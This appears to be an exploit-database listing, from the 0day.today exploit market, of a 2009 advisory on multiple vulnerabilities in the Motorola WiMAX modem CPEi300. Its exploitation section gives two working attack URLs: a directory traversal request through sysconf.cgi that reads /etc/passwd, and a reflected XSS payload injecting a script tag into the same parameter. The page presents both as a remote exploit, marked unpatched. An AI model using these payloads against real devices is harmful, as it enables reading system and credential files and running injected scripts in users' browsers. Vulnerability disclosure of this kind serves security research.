[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Motorola Wimax modem CPEi300 (FD/XSS) Multiple Vulnerabilities

Author
Usman Saeed
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-9358
Category
remote exploits
Date add
29-01-2009
Platform
hardware
==============================================================
Motorola Wimax modem CPEi300 (FD/XSS) Multiple Vulnerabilities
==============================================================


#####################################################################################
#
#   Name    :   Motorola Wimax modem CPEi300 Multiple Vulnerabilities
#   Author  :   Usman Saeed 
#   Company :   Xc0re Security Reasearch Group
#   Homepage :  http://www.xc0re.net
#
#####################################################################################


[Note: User needs to logged in! ]

[*] Attack type : Remote

[*] Patch Status : Unpatched

[*] Exploitation : 

   [+] Directory traversal
	http://Hostname/cgi-bin/sysconf.cgi?page=../../../etc/passwd&action=request&sid=AeoFSFoI4lDs 

   [+] XSS 

	http://Hostname/cgi-bin/sysconf.cgi?page="><script>alert(1);</script>"&action=request&sid=AeoFSFoI4lDs  




#  0day.today [2024-11-15]  #